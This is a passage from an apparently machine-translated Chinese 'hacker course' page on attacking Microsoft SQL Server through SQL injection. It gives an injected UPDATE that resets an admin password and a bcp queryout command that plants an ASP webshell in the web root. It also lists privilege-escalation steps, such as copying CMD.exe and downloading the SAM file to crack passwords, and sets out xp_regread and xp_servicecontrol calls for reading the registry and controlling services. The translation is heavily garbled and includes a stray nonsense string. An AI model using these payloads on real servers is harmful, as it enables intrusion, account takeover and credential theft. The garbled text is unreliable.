HTTP://xxx.xxx.xxx/abc.asp? p=YY; update TestDB.dbo.admin set pwd='… where username='www'; -- (1 MD5 value is: AAABBBCCCDDDEEEF, namely alters to the password 1; www is the known user name)
May certainly change with the similar method the password the original value.
2nd, leads the file function using the table content
SQL has the BCP order, it may lead the table content existing writing this article and puts to assigns the position. Using this function, we may construct one to be near the first watch, then a line of line of place inputs a ASP wooden horse in the table, then orders with BCP to derive forms the ASP document.
The command line form is as follows:
bcp “select * from text. .foo” queryout c:\inetpub\wwwroot\runcommand.asp - c - S localhost - U sa - P foobar ('S'canshu for execution inquiry's server, 'U'canshu for user, 'P'canshu is a password, has uploaded a runcommand.asp wooden horse finally)
Sixth, obtains system's manager jurisdiction
ASP wooden horse only then USER jurisdiction, if wants to gain to system's complete control, but must have system's manager jurisdiction. How to manage? The promotion jurisdiction's method has many kinds: AYgOkYn#? G
(As soon as uploads the wooden horse, the revision starting automatic movement .ini document it restarts, then died has decided);
Duplicates CMD.exe to arrive at scripts, artificial makes the UNICODE crack;
Downloads the SAM document, explains and gains the OS all user famous password;
And so on, regards system's special details to decide, may adopt the different method.
Seventh, several SQL-SERVER special-purpose methods
1st, uses the xp_regread expansion memory process revision registry
the [xp_regread] another useful built-in memory process is the kind of function set (Xp_regaddmultistring, Xp_regdeletekey, Xp_regdeletevalue, Xp_regenumkeys, Xp_regenumvalues, Xp_regread, Xp_regremovemultistring, Xp_regwrite). The aggressor may use these function revision registry, like reads the SAM value, the permission establishes the spatial connection, starting automatic operating procedure and so on. For example:
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters', what conversation connection 'does nullsessionshares' determine in the server available.
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \ CurrentControlSet \ Services \ snmp \ parameters \ validcommunities' demonstrated that on the server all SNMP association disposed, has these information, the aggressor has been possible to redeploy in the identical network network equipment.
2nd, uses other memory process to change the server
the xp_servicecontrol process permission user starts, stops the service. For example:
(exec master. .xp_servicecontrol 'start', 'schedule'
exec master. .xp_servicecontrol 'start', 'server')
Xp_availablemedia demonstrates on the machine the useful driver
The Xp_dirtree permission obtains a directory tree
Xp_enumdsn enumerates on server's ODBC data pool
Other pages: : <<Prev * 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * Next>>
|
You are here: hacking technology
> hacker course
> Content
Category: Home
> hacker course